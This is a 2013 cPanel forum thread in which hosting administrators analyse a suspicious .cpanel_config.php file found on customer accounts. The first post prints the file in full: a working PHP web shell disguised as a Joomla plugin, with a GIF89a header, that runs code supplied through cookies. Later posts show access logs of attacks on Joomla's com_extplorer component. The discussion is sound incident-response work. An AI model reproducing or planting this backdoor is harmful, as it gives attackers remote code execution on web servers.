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File on some accounts with suspicious code .cpanel_config.php

Discussion in 'Security' started by speckados, Dec 18, 2013.

  1. speckados

    speckados Well-Known Member

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    This night (00:00 to 05:00 GMT +1 at 18/12/2013) on some servers, and some accounts, a suspicious file named .cpanel_config.php on webroot

    content of file (i don't undestand)

    Code:
    GIF89a
<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  system.instantsuggest
 *
 * @copyright   Copyright (C) 2013 InstantSuggest.com. All rights reserved.
 * @license     GNU General Public License version 2 or later
 */
/**
 * Instant Suggest Ajax
 *
 * @package     Joomla.Plugin
 * @subpackage  system.instantsuggest
 * @since       3.1
 */
class PlgSystemInstantSuggest
{
	public function __construct() {
		$filter = @$_COOKIE['p3'];
		if ($filter) {
			$option = $filter(@$_COOKIE['p2']);
			$auth = $filter(@$_COOKIE['p1']);
			$option("/123/e",$auth,123);
			die();
		}
	}
}
    Somebody can explain about the code?
     
    #1 speckados, Dec 18, 2013
  2. Infopro

    Infopro cPanel Sr. Product Evangelist
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    Twitter:
    You might find this link helpful:
    /http://wordpress.org/plugins/instant-suggest/
     
    #2 Infopro, Dec 18, 2013
  3. speckados

    speckados Well-Known Member

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    What interest there're on you link? Plugin of WP? Please extend your comments.

    Thanks.
     
    #3 speckados, Dec 18, 2013
  4. Infopro

    Infopro cPanel Sr. Product Evangelist
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    That's where that plugin originally came from, I suspect. Or some version of it. You might download that version from the reputable site, wordpress.org at that link provided and check its files against the files on your server. You might also ask your users where this file was found, if they installed this plugin.

    If you suspect a security issue here and not sure what to do next, you might want to hire a professional to assist you with that. The cPanel AppCat should be helpful in locating someone:
    cPanel App Catalog

    That file, where ever it came from, is clearly not a cPanel file, or issue. My linking you to some place where you might find out more Info, should have been enough to assist you in the right direction.

    The rest of my suggestions here should already be a known thing, I think.


    I am interested to know why you'd post here on this forum about this though.
     
    #4 Infopro, Dec 18, 2013
  5. quietFinn

    quietFinn Well-Known Member

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    I have seen that file uploaded in many accounts in out servers.

    CXS (ConfigServer eXploit Scanner) detects and quarantines it.

    Seems that Joomla's extplorer component is used, but I have no idea how...

    As "first aid" I have password protected Joomla's administrator folder in those accounts.
     
    #5 quietFinn, Dec 18, 2013
  6. mtindor

    mtindor Well-Known Member

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    I concur with quietFinn... com_extplorer appears to be the target. I too have seen these attempts intercepted on many machines.

    Code:
    10.20.30.40 - - [18/Dec/2013:23:10:50 -0500] "GET /administrator/components//com_extplorer/ HTTP/1.1" 301 266 "-"
10.20.30.40 - - [18/Dec/2013:23:10:51 -0500] "GET /administrator/components/com_extplorer/ HTTP/1.1" 302 - "-"
10.20.30.40 - - [18/Dec/2013:23:10:51 -0500] "GET / HTTP/1.1" 200 69941 "-"
10.20.30.40 - - [18/Dec/2013:23:10:52 -0500] "POST / HTTP/1.1" 200 69619 "http://somedomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:23:10:54 -0500] "POST / HTTP/1.1" 404 - "http://somedomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:23:10:50 -0500] "GET /administrator/components//com_extplorer/ HTTP/1.1" 301 266 "-"
10.20.30.40 - - [18/Dec/2013:23:10:51 -0500] "GET /administrator/components/com_extplorer/ HTTP/1.1" 302 - "-"
10.20.30.40 - - [18/Dec/2013:23:10:51 -0500] "GET / HTTP/1.1" 200 69941 "-"
10.20.30.40 - - [18/Dec/2013:23:10:52 -0500] "POST / HTTP/1.1" 200 69619 "http://somedomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:23:10:54 -0500] "POST / HTTP/1.1" 404 - "http://somedomain.ext/administrator/components//com_extplorer/"

10.20.30.40 - - [18/Dec/2013:15:54:44 -0500] "GET /administrator/components//com_extplorer/ HTTP/1.1" 200 1128 "-"
10.20.30.40 - - [18/Dec/2013:15:54:45 -0500] "POST /administrator/components//com_extplorer/ HTTP/1.1" 404 - "http://someotherdomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:15:54:45 -0500] "POST /administrator/components//com_extplorer/ HTTP/1.1" 404 - "http://someotherdomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:15:54:44 -0500] "GET /administrator/components//com_extplorer/ HTTP/1.1" 200 1128 "-"
10.20.30.40 - - [18/Dec/2013:15:54:45 -0500] "POST /administrator/components//com_extplorer/ HTTP/1.1" 404 - "http://someotherdomain.ext/administrator/components//com_extplorer/"
10.20.30.40 - - [18/Dec/2013:15:54:45 -0500] "POST /administrator/components//com_extplorer/ HTTP/1.1" 404 - "http://someotherdomain.ext/administrator/components//com_extplorer/"
    Given the GIF89a at the top, I suspect they are attempting to upload it to the server as a gif [because com_extplorer probably doesn't allow files with .php extensions to be uploaded] and then renaming it once it is on the server should they get that far.

    And yeah, I heavily massaged that log exerpt.

    M
     
    #6 mtindor, Dec 18, 2013
  7. caeos

    caeos Well-Known Member

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    #7 caeos, Dec 19, 2013
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